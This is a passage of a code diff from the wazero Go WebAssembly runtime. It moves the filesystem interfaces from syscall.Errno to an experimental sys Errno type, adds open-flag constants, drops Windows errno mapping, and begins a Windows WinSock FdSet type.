@@ -209,18 +160,18 @@ type FS interface {
|
||||
// - This is like `rename` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/rename.html
|
||||
// - Windows doesn't let you overwrite an existing directory.
|
||||
Rename(from, to string) syscall.Errno
|
||||
Rename(from, to string) experimentalsys.Errno
|
||||
|
||||
// Rmdir removes a directory.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EINVAL: `path` is invalid.
|
||||
// - syscall.ENOENT: `path` doesn't exist.
|
||||
// - syscall.ENOTDIR: `path` exists, but isn't a directory.
|
||||
// - syscall.ENOTEMPTY: `path` exists, but isn't empty.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EINVAL: `path` is invalid.
|
||||
// - sys.ENOENT: `path` doesn't exist.
|
||||
// - sys.ENOTDIR: `path` exists, but isn't a directory.
|
||||
// - sys.ENOTEMPTY: `path` exists, but isn't empty.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -228,18 +179,18 @@ type FS interface {
|
||||
// file system.
|
||||
// - This is like `rmdir` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/rmdir.html
|
||||
// - As of Go 1.19, Windows maps syscall.ENOTDIR to syscall.ENOENT.
|
||||
Rmdir(path string) syscall.Errno
|
||||
// - As of Go 1.19, Windows maps sys.ENOTDIR to sys.ENOENT.
|
||||
Rmdir(path string) experimentalsys.Errno
|
||||
|
||||
// Unlink removes a directory entry.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EINVAL: `path` is invalid.
|
||||
// - syscall.ENOENT: `path` doesn't exist.
|
||||
// - syscall.EISDIR: `path` exists, but is a directory.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EINVAL: `path` is invalid.
|
||||
// - sys.ENOENT: `path` doesn't exist.
|
||||
// - sys.EISDIR: `path` exists, but is a directory.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -250,18 +201,18 @@ type FS interface {
|
||||
// - On Windows, syscall.Unlink doesn't delete symlink to directory unlike other platforms. Implementations might
|
||||
// want to combine syscall.RemoveDirectory with syscall.Unlink in order to delete such links on Windows.
|
||||
// See https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-removedirectorya
|
||||
Unlink(path string) syscall.Errno
|
||||
Unlink(path string) experimentalsys.Errno
|
||||
|
||||
// Link creates a "hard" link from oldPath to newPath, in contrast to a
|
||||
// soft link (via Symlink).
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EPERM: `oldPath` is invalid.
|
||||
// - syscall.ENOENT: `oldPath` doesn't exist.
|
||||
// - syscall.EISDIR: `newPath` exists, but is a directory.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EPERM: `oldPath` is invalid.
|
||||
// - sys.ENOENT: `oldPath` doesn't exist.
|
||||
// - sys.EISDIR: `newPath` exists, but is a directory.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -269,17 +220,17 @@ type FS interface {
|
||||
// file system.
|
||||
// - This is like `link` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/link.html
|
||||
Link(oldPath, newPath string) syscall.Errno
|
||||
Link(oldPath, newPath string) experimentalsys.Errno
|
||||
|
||||
// Symlink creates a "soft" link from oldPath to newPath, in contrast to a
|
||||
// hard link (via Link).
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EPERM: `oldPath` or `newPath` is invalid.
|
||||
// - syscall.EEXIST: `newPath` exists.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EPERM: `oldPath` or `newPath` is invalid.
|
||||
// - sys.EEXIST: `newPath` exists.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -293,17 +244,17 @@ type FS interface {
|
||||
// See https://github.com/bytecodealliance/cap-std/blob/v1.0.4/cap-std/src/fs/dir.rs#L404-L409
|
||||
// for how others implement this.
|
||||
// - Symlinks in Windows requires `SeCreateSymbolicLinkPrivilege`.
|
||||
// Otherwise, syscall.EPERM results.
|
||||
// Otherwise, sys.EPERM results.
|
||||
// See https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/create-symbolic-links
|
||||
Symlink(oldPath, linkName string) syscall.Errno
|
||||
Symlink(oldPath, linkName string) experimentalsys.Errno
|
||||
|
||||
// Readlink reads the contents of a symbolic link.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EINVAL: `path` is invalid.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EINVAL: `path` is invalid.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -314,26 +265,7 @@ type FS interface {
|
||||
// - On Windows, the path separator is different from other platforms,
|
||||
// but to provide consistent results to Wasm, this normalizes to a "/"
|
||||
// separator.
|
||||
Readlink(path string) (string, syscall.Errno)
|
||||
|
||||
// Truncate truncates a file to a specified length.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EINVAL: `path` is invalid or size is negative.
|
||||
// - syscall.ENOENT: `path` doesn't exist.
|
||||
// - syscall.EISDIR: `path` is a directory.
|
||||
// - syscall.EACCES: `path` doesn't have write access.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.Truncate, except the path is relative to this
|
||||
// filesystem.
|
||||
// - This is like `truncate` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/truncate.html
|
||||
Truncate(path string, size int64) syscall.Errno
|
||||
Readlink(path string) (string, experimentalsys.Errno)
|
||||
|
||||
// Utimens set file access and modification times on a path relative to
|
||||
// this file system, at nanosecond precision.
|
||||
@@ -341,25 +273,24 @@ type FS interface {
|
||||
// # Parameters
|
||||
//
|
||||
// The `times` parameter includes the access and modification timestamps to
|
||||
// assign. Special syscall.Timespec NSec values platform.UTIME_NOW and
|
||||
// platform.UTIME_OMIT may be specified instead of real timestamps. A nil
|
||||
// `times` parameter behaves the same as if both were set to
|
||||
// platform.UTIME_NOW.
|
||||
//
|
||||
// When the `symlinkFollow` parameter is true and the path is a symbolic link,
|
||||
// the target of expanding that link is updated.
|
||||
// assign. Special syscall.Timespec NSec values UTIME_NOW and UTIME_OMIT
|
||||
// may be specified instead of real timestamps. A nil `times` parameter
|
||||
// behaves the same as if both were set to UTIME_NOW. If the path is a
|
||||
// symbolic link, the target of expanding that link is updated.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EINVAL: `path` is invalid.
|
||||
// - syscall.EEXIST: `path` exists and is a directory.
|
||||
// - syscall.ENOTDIR: `path` exists and is a file.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EINVAL: `path` is invalid.
|
||||
// - sys.EEXIST: `path` exists and is a directory.
|
||||
// - sys.ENOTDIR: `path` exists and is a file.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.UtimesNano and `utimensat` with `AT_FDCWD` in
|
||||
// POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html
|
||||
Utimens(path string, times *[2]syscall.Timespec, symlinkFollow bool) syscall.Errno
|
||||
Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno
|
||||
// TODO: change impl to not use syscall package,
|
||||
// possibly by being just a pair of int64s..
|
||||
}
|
||||
+70
@@ -0,0 +1,70 @@
|
||||
package fsapi
|
||||
|
||||
// Oflag are flags used for FS.OpenFile. Values, including zero, should not be
|
||||
// interpreted numerically. Instead, use by constants prefixed with 'O_' with
|
||||
// special casing noted below.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - O_RDONLY, O_RDWR and O_WRONLY are mutually exclusive, while the other
|
||||
// flags can coexist bitwise.
|
||||
// - This is like `flag` in os.OpenFile and `oflag` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html
|
||||
type Oflag uint32
|
||||
|
||||
// This is a subset of oflags to reduce implementation burden. `wasip1` splits
|
||||
// these across `oflags` and `fdflags`. We can't rely on the Go `os` package,
|
||||
// as it is missing some values. Any flags added will be defined in POSIX
|
||||
// order, as needed by functions that explicitly document accepting them.
|
||||
//
|
||||
// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-oflags-flagsu16
|
||||
// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fdflags-flagsu16
|
||||
const (
|
||||
// O_RDONLY is like os.O_RDONLY
|
||||
O_RDONLY Oflag = iota
|
||||
|
||||
// O_RDWR is like os.O_RDWR
|
||||
O_RDWR
|
||||
|
||||
// O_WRONLY is like os.O_WRONLY
|
||||
O_WRONLY
|
||||
|
||||
// Define bitflags as they are in POSIX `open`: alphabetically
|
||||
|
||||
// O_APPEND is like os.O_APPEND
|
||||
O_APPEND Oflag = 1 << iota
|
||||
|
||||
// O_CREAT is link os.O_CREATE
|
||||
O_CREAT
|
||||
|
||||
// O_DIRECTORY is defined on some platforms as syscall.O_DIRECTORY.
|
||||
//
|
||||
// Note: This ensures that the opened file is a directory. Those emulating
|
||||
// on platforms that don't support the O_DIRECTORY, can double-check the
|
||||
// result with File.IsDir (or stat) and err if not a directory.
|
||||
O_DIRECTORY
|
||||
|
||||
// O_DSYNC is defined on some platforms as syscall.O_DSYNC.
|
||||
O_DSYNC
|
||||
|
||||
// O_EXCL is defined on some platforms as syscall.O_EXCL.
|
||||
O_EXCL
|
||||
|
||||
// O_NOFOLLOW is defined on some platforms as syscall.O_NOFOLLOW.
|
||||
//
|
||||
// Note: This allows programs to ensure that if the opened file is a
|
||||
// symbolic link, the link itself is opened instead of its target.
|
||||
O_NOFOLLOW
|
||||
|
||||
// O_NONBLOCK is defined on some platforms as syscall.O_NONBLOCK.
|
||||
O_NONBLOCK
|
||||
|
||||
// O_RSYNC is defined on some platforms as syscall.O_RSYNC.
|
||||
O_RSYNC
|
||||
|
||||
// O_SYNC is defined on some platforms as syscall.O_SYNC.
|
||||
O_SYNC
|
||||
|
||||
// O_TRUNC is defined on some platforms as syscall.O_TRUNC.
|
||||
O_TRUNC
|
||||
)
|
||||
-48
@@ -1,48 +0,0 @@
|
||||
package fsapi
|
||||
|
||||
import "io/fs"
|
||||
|
||||
// Stat_t is similar to syscall.Stat_t, and fields frequently used by
|
||||
// WebAssembly ABI including WASI snapshot-01, GOOS=js and wasi-filesystem.
|
||||
//
|
||||
// # Note
|
||||
//
|
||||
// Zero values may be returned where not available. For example, fs.FileInfo
|
||||
// implementations may not be able to provide Ino values.
|
||||
type Stat_t struct {
|
||||
// Dev is the device ID of device containing the file.
|
||||
Dev uint64
|
||||
|
||||
// Ino is the file serial number.
|
||||
Ino uint64
|
||||
|
||||
// Uid is the user ID that owns the file, or zero if unsupported.
|
||||
// For example, this is unsupported on some virtual filesystems or windows.
|
||||
Uid uint32
|
||||
|
||||
// Gid is the group ID that owns the file, or zero if unsupported.
|
||||
// For example, this is unsupported on some virtual filesystems or windows.
|
||||
Gid uint32
|
||||
|
||||
// Mode is the same as Mode on fs.FileInfo containing bits to identify the
|
||||
// type of the file (fs.ModeType) and its permissions (fs.ModePerm).
|
||||
Mode fs.FileMode
|
||||
|
||||
/// Nlink is the number of hard links to the file.
|
||||
Nlink uint64
|
||||
// ^^ uint64 not uint16 to accept widest syscall.Stat_t.Nlink
|
||||
|
||||
// Size is the length in bytes for regular files. For symbolic links, this
|
||||
// is length in bytes of the pathname contained in the symbolic link.
|
||||
Size int64
|
||||
// ^^ int64 not uint64 to defer to fs.FileInfo
|
||||
|
||||
// Atim is the last data access timestamp in epoch nanoseconds.
|
||||
Atim int64
|
||||
|
||||
// Mtim is the last data modification timestamp in epoch nanoseconds.
|
||||
Mtim int64
|
||||
|
||||
// Ctim is the last file status change timestamp in epoch nanoseconds.
|
||||
Ctim int64
|
||||
}
|
||||
+73
-85
@@ -4,9 +4,12 @@ import (
|
||||
"io/fs"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/sys"
|
||||
)
|
||||
|
||||
// UnimplementedFS is an FS that returns syscall.ENOSYS for all functions,
|
||||
// UnimplementedFS is an FS that returns ENOSYS for all functions,
|
||||
// This should be embedded to have forward compatible implementations.
|
||||
type UnimplementedFS struct{}
|
||||
|
||||
@@ -17,103 +20,103 @@ func (UnimplementedFS) String() string {
|
||||
|
||||
// Open implements the same method as documented on fs.FS
|
||||
func (UnimplementedFS) Open(name string) (fs.File, error) {
|
||||
return nil, &fs.PathError{Op: "open", Path: name, Err: syscall.ENOSYS}
|
||||
return nil, &fs.PathError{Op: "open", Path: name, Err: experimentalsys.ENOSYS}
|
||||
}
|
||||
|
||||
// OpenFile implements FS.OpenFile
|
||||
func (UnimplementedFS) OpenFile(path string, flag int, perm fs.FileMode) (File, syscall.Errno) {
|
||||
return nil, syscall.ENOSYS
|
||||
func (UnimplementedFS) OpenFile(path string, flag Oflag, perm fs.FileMode) (File, experimentalsys.Errno) {
|
||||
return nil, experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Lstat implements FS.Lstat
|
||||
func (UnimplementedFS) Lstat(path string) (Stat_t, syscall.Errno) {
|
||||
return Stat_t{}, syscall.ENOSYS
|
||||
func (UnimplementedFS) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) {
|
||||
return sys.Stat_t{}, experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Stat implements FS.Stat
|
||||
func (UnimplementedFS) Stat(path string) (Stat_t, syscall.Errno) {
|
||||
return Stat_t{}, syscall.ENOSYS
|
||||
func (UnimplementedFS) Stat(path string) (sys.Stat_t, experimentalsys.Errno) {
|
||||
return sys.Stat_t{}, experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Readlink implements FS.Readlink
|
||||
func (UnimplementedFS) Readlink(path string) (string, syscall.Errno) {
|
||||
return "", syscall.ENOSYS
|
||||
func (UnimplementedFS) Readlink(path string) (string, experimentalsys.Errno) {
|
||||
return "", experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Mkdir implements FS.Mkdir
|
||||
func (UnimplementedFS) Mkdir(path string, perm fs.FileMode) syscall.Errno {
|
||||
return syscall.ENOSYS
|
||||
func (UnimplementedFS) Mkdir(path string, perm fs.FileMode) experimentalsys.Errno {
|
||||
return experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Chmod implements FS.Chmod
|
||||
func (UnimplementedFS) Chmod(path string, perm fs.FileMode) syscall.Errno {
|
||||
return syscall.ENOSYS
|
||||
}
|
||||
|
||||
// Chown implements FS.Chown
|
||||
func (UnimplementedFS) Chown(path string, uid, gid int) syscall.Errno {
|
||||
return syscall.ENOSYS
|
||||
}
|
||||
|
||||
// Lchown implements FS.Lchown
|
||||
func (UnimplementedFS) Lchown(path string, uid, gid int) syscall.Errno {
|
||||
return syscall.ENOSYS
|
||||
func (UnimplementedFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno {
|
||||
return experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Rename implements FS.Rename
|
||||
func (UnimplementedFS) Rename(from, to string) syscall.Errno {
|
||||
return syscall.ENOSYS
|
||||
func (UnimplementedFS) Rename(from, to string) experimentalsys.Errno {
|
||||
return experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Rmdir implements FS.Rmdir
|
||||
func (UnimplementedFS) Rmdir(path string) syscall.Errno {
|
||||
return syscall.ENOSYS
|
||||
func (UnimplementedFS) Rmdir(path string) experimentalsys.Errno {
|
||||
return experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Link implements FS.Link
|
||||
func (UnimplementedFS) Link(_, _ string) syscall.Errno {
|
||||
return syscall.ENOSYS
|
||||
func (UnimplementedFS) Link(_, _ string) experimentalsys.Errno {
|
||||
return experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Symlink implements FS.Symlink
|
||||
func (UnimplementedFS) Symlink(_, _ string) syscall.Errno {
|
||||
return syscall.ENOSYS
|
||||
func (UnimplementedFS) Symlink(_, _ string) experimentalsys.Errno {
|
||||
return experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Unlink implements FS.Unlink
|
||||
func (UnimplementedFS) Unlink(path string) syscall.Errno {
|
||||
return syscall.ENOSYS
|
||||
func (UnimplementedFS) Unlink(path string) experimentalsys.Errno {
|
||||
return experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Utimens implements FS.Utimens
|
||||
func (UnimplementedFS) Utimens(path string, times *[2]syscall.Timespec, symlinkFollow bool) syscall.Errno {
|
||||
return syscall.ENOSYS
|
||||
func (UnimplementedFS) Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno {
|
||||
return experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Truncate implements FS.Truncate
|
||||
func (UnimplementedFS) Truncate(string, int64) syscall.Errno {
|
||||
return syscall.ENOSYS
|
||||
func (UnimplementedFS) Truncate(string, int64) experimentalsys.Errno {
|
||||
return experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// UnimplementedFile is a File that returns syscall.ENOSYS for all functions,
|
||||
// UnimplementedFile is a File that returns ENOSYS for all functions,
|
||||
// except where no-op are otherwise documented.
|
||||
//
|
||||
// This should be embedded to have forward compatible implementations.
|
||||
type UnimplementedFile struct{}
|
||||
|
||||
// Ino implements File.Ino
|
||||
func (UnimplementedFile) Ino() (uint64, syscall.Errno) {
|
||||
// Dev implements File.Dev
|
||||
func (UnimplementedFile) Dev() (uint64, experimentalsys.Errno) {
|
||||
return 0, 0
|
||||
}
|
||||
|
||||
// Ino implements File.Ino
|
||||
func (UnimplementedFile) Ino() (sys.Inode, experimentalsys.Errno) {
|
||||
return 0, 0
|
||||
}
|
||||
|
||||
// IsDir implements File.IsDir
|
||||
func (UnimplementedFile) IsDir() (bool, experimentalsys.Errno) {
|
||||
return false, 0
|
||||
}
|
||||
|
||||
// IsAppend implements File.IsAppend
|
||||
func (UnimplementedFile) IsAppend() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
// SetAppend implements File.SetAppend
|
||||
func (UnimplementedFile) SetAppend(bool) syscall.Errno {
|
||||
return syscall.ENOSYS
|
||||
func (UnimplementedFile) SetAppend(bool) experimentalsys.Errno {
|
||||
return experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// IsNonblock implements File.IsNonblock
|
||||
@@ -122,84 +125,69 @@ func (UnimplementedFile) IsNonblock() bool {
|
||||
}
|
||||
|
||||
// SetNonblock implements File.SetNonblock
|
||||
func (UnimplementedFile) SetNonblock(bool) syscall.Errno {
|
||||
return syscall.ENOSYS
|
||||
func (UnimplementedFile) SetNonblock(bool) experimentalsys.Errno {
|
||||
return experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Stat implements File.Stat
|
||||
func (UnimplementedFile) Stat() (Stat_t, syscall.Errno) {
|
||||
return Stat_t{}, syscall.ENOSYS
|
||||
}
|
||||
|
||||
// IsDir implements File.IsDir
|
||||
func (UnimplementedFile) IsDir() (bool, syscall.Errno) {
|
||||
return false, syscall.ENOSYS
|
||||
func (UnimplementedFile) Stat() (sys.Stat_t, experimentalsys.Errno) {
|
||||
return sys.Stat_t{}, experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Read implements File.Read
|
||||
func (UnimplementedFile) Read([]byte) (int, syscall.Errno) {
|
||||
return 0, syscall.ENOSYS
|
||||
func (UnimplementedFile) Read([]byte) (int, experimentalsys.Errno) {
|
||||
return 0, experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Pread implements File.Pread
|
||||
func (UnimplementedFile) Pread([]byte, int64) (int, syscall.Errno) {
|
||||
return 0, syscall.ENOSYS
|
||||
func (UnimplementedFile) Pread([]byte, int64) (int, experimentalsys.Errno) {
|
||||
return 0, experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Seek implements File.Seek
|
||||
func (UnimplementedFile) Seek(int64, int) (int64, syscall.Errno) {
|
||||
return 0, syscall.ENOSYS
|
||||
func (UnimplementedFile) Seek(int64, int) (int64, experimentalsys.Errno) {
|
||||
return 0, experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Readdir implements File.Readdir
|
||||
func (UnimplementedFile) Readdir(int) (dirents []Dirent, errno syscall.Errno) {
|
||||
return nil, syscall.ENOSYS
|
||||
func (UnimplementedFile) Readdir(int) (dirents []Dirent, errno experimentalsys.Errno) {
|
||||
return nil, experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// PollRead implements File.PollRead
|
||||
func (UnimplementedFile) PollRead(*time.Duration) (ready bool, errno syscall.Errno) {
|
||||
return false, syscall.ENOSYS
|
||||
func (UnimplementedFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) {
|
||||
return false, experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Write implements File.Write
|
||||
func (UnimplementedFile) Write([]byte) (int, syscall.Errno) {
|
||||
return 0, syscall.ENOSYS
|
||||
func (UnimplementedFile) Write([]byte) (int, experimentalsys.Errno) {
|
||||
return 0, experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Pwrite implements File.Pwrite
|
||||
func (UnimplementedFile) Pwrite([]byte, int64) (int, syscall.Errno) {
|
||||
return 0, syscall.ENOSYS
|
||||
func (UnimplementedFile) Pwrite([]byte, int64) (int, experimentalsys.Errno) {
|
||||
return 0, experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Truncate implements File.Truncate
|
||||
func (UnimplementedFile) Truncate(int64) syscall.Errno {
|
||||
return syscall.ENOSYS
|
||||
func (UnimplementedFile) Truncate(int64) experimentalsys.Errno {
|
||||
return experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Sync implements File.Sync
|
||||
func (UnimplementedFile) Sync() syscall.Errno {
|
||||
return 0 // not syscall.ENOSYS
|
||||
func (UnimplementedFile) Sync() experimentalsys.Errno {
|
||||
return 0 // not ENOSYS
|
||||
}
|
||||
|
||||
// Datasync implements File.Datasync
|
||||
func (UnimplementedFile) Datasync() syscall.Errno {
|
||||
return 0 // not syscall.ENOSYS
|
||||
}
|
||||
|
||||
// Chmod implements File.Chmod
|
||||
func (UnimplementedFile) Chmod(fs.FileMode) syscall.Errno {
|
||||
return syscall.ENOSYS
|
||||
}
|
||||
|
||||
// Chown implements File.Chown
|
||||
func (UnimplementedFile) Chown(int, int) syscall.Errno {
|
||||
return syscall.ENOSYS
|
||||
func (UnimplementedFile) Datasync() experimentalsys.Errno {
|
||||
return 0 // not ENOSYS
|
||||
}
|
||||
|
||||
// Utimens implements File.Utimens
|
||||
func (UnimplementedFile) Utimens(*[2]syscall.Timespec) syscall.Errno {
|
||||
return syscall.ENOSYS
|
||||
func (UnimplementedFile) Utimens(*[2]syscall.Timespec) experimentalsys.Errno {
|
||||
return experimentalsys.ENOSYS
|
||||
}
|
||||
|
||||
// Close implements File.Close
|
||||
func (UnimplementedFile) Close() (errno syscall.Errno) { return }
|
||||
func (UnimplementedFile) Close() (errno experimentalsys.Errno) { return }
|
||||
-9
@@ -1,9 +0,0 @@
|
||||
//go:build !windows
|
||||
|
||||
package platform
|
||||
|
||||
import "syscall"
|
||||
|
||||
func adjustErrno(err syscall.Errno) syscall.Errno {
|
||||
return err
|
||||
}
|
||||
-72
@@ -1,72 +0,0 @@
|
||||
package platform
|
||||
|
||||
import "syscall"
|
||||
|
||||
// See https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--0-499-
|
||||
const (
|
||||
// ERROR_ACCESS_DENIED is a Windows error returned by syscall.Unlink
|
||||
// instead of syscall.EACCES
|
||||
ERROR_ACCESS_DENIED = syscall.Errno(5)
|
||||
|
||||
// ERROR_INVALID_HANDLE is a Windows error returned by syscall.Write
|
||||
// instead of syscall.EBADF
|
||||
ERROR_INVALID_HANDLE = syscall.Errno(6)
|
||||
|
||||
// ERROR_FILE_EXISTS is a Windows error returned by os.OpenFile
|
||||
// instead of syscall.EEXIST
|
||||
ERROR_FILE_EXISTS = syscall.Errno(0x50)
|
||||
|
||||
// ERROR_INVALID_NAME is a Windows error returned by open when a file
|
||||
// path has a trailing slash
|
||||
ERROR_INVALID_NAME = syscall.Errno(0x7B)
|
||||
|
||||
// ERROR_NEGATIVE_SEEK is a Windows error returned by os.Truncate
|
||||
// instead of syscall.EINVAL
|
||||
ERROR_NEGATIVE_SEEK = syscall.Errno(0x83)
|
||||
|
||||
// ERROR_DIR_NOT_EMPTY is a Windows error returned by syscall.Rmdir
|
||||
// instead of syscall.ENOTEMPTY
|
||||
ERROR_DIR_NOT_EMPTY = syscall.Errno(0x91)
|
||||
|
||||
// ERROR_ALREADY_EXISTS is a Windows error returned by os.Mkdir
|
||||
// instead of syscall.EEXIST
|
||||
ERROR_ALREADY_EXISTS = syscall.Errno(0xB7)
|
||||
|
||||
// ERROR_DIRECTORY is a Windows error returned by syscall.Rmdir
|
||||
// instead of syscall.ENOTDIR
|
||||
ERROR_DIRECTORY = syscall.Errno(0x10B)
|
||||
)
|
||||
|
||||
// See https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--1300-1699-
|
||||
const (
|
||||
// ERROR_PRIVILEGE_NOT_HELD is a Windows error returned by os.Symlink
|
||||
// instead of syscall.EPERM.
|
||||
//
|
||||
// Note: This can happen when trying to create symlinks w/o admin perms.
|
||||
ERROR_PRIVILEGE_NOT_HELD = syscall.Errno(0x522)
|
||||
)
|
||||
|
||||
func adjustErrno(err syscall.Errno) syscall.Errno {
|
||||
// Note: In windows, ERROR_PATH_NOT_FOUND(0x3) maps to syscall.ENOTDIR
|
||||
switch err {
|
||||
case ERROR_ALREADY_EXISTS:
|
||||
return syscall.EEXIST
|
||||
case ERROR_DIRECTORY:
|
||||
return syscall.ENOTDIR
|
||||
case ERROR_DIR_NOT_EMPTY:
|
||||
return syscall.ENOTEMPTY
|
||||
case ERROR_FILE_EXISTS:
|
||||
return syscall.EEXIST
|
||||
case ERROR_INVALID_HANDLE:
|
||||
return syscall.EBADF
|
||||
case ERROR_ACCESS_DENIED:
|
||||
// POSIX read and write functions expect EBADF, not EACCES when not
|
||||
// open for reading or writing.
|
||||
return syscall.EBADF
|
||||
case ERROR_PRIVILEGE_NOT_HELD:
|
||||
return syscall.EPERM
|
||||
case ERROR_NEGATIVE_SEEK, ERROR_INVALID_NAME:
|
||||
return syscall.EINVAL
|
||||
}
|
||||
return err
|
||||
}
|
||||
+2
@@ -1,3 +1,5 @@
|
||||
//go:build !windows
|
||||
|
||||
package platform
|
||||
|
||||
// Set adds the given fd to the set.
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
//go:build !darwin && !linux
|
||||
//go:build !darwin && !linux && !windows
|
||||
|
||||
package platform
|
||||
|
||||
|
||||
+239
@@ -0,0 +1,239 @@
|
||||
package platform
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var procGetNamedPipeInfo = kernel32.NewProc("GetNamedPipeInfo")
|
||||
|
||||
// Maximum number of fds in a WinSockFdSet.
|
||||
const _FD_SETSIZE = 64
|
||||
|
||||
// WinSockFdSet implements the FdSet representation that is used internally by WinSock.
|
||||
//
|
||||
// Note: this representation is quite different from the one used in most POSIX implementations
|
||||
// where a bitfield is usually implemented; instead on Windows we have a simpler array+count pair.
|
||||
// Notice that because it keeps a count of the inserted handles, the first argument of select
|
||||
// in WinSock is actually ignored.
|
||||
//
|
||||
// The implementation of the Set, Clear, IsSet, Zero, methods follows exactly
|
||||
// the real implementation found in WinSock2.h, e.g. see:
|
||||
// https://github.com/microsoft/win32metadata/blob/ef7725c75c6b39adfdc13ba26fb1d89ac954449a/generation/WinSDK/RecompiledIdlHeaders/um/WinSock2.h#L124-L175
|
||||
type WinSockFdSet struct {
|
||||
// count is the number of used slots used in the handles slice.
|
||||
count uint64
|
||||
// handles is the array of handles. This is called "array" in the WinSock implementation
|
||||
// and it has a fixed length of _FD_SETSIZE.
|
||||
handles [_FD_SETSIZE]syscall.Handle
|
||||
}
|
||||
|
||||
// FdSet implements the same methods provided on other plaforms.
|
||||
//
|
||||
// Note: the implementation is very different from POSIX; Windows provides
|
||||
// POSIX select only for sockets. We emulate a select for other APIs in the sysfs
|
||||
// package, but we still want to use the "real" select in the case of sockets.
|
||||
// So, we keep separate FdSets for sockets, pipes and regular files, so that we can
|
||||
// handle them separately. For instance sockets can be used directly in winsock select.
|
||||
type FdSet struct {
|
||||
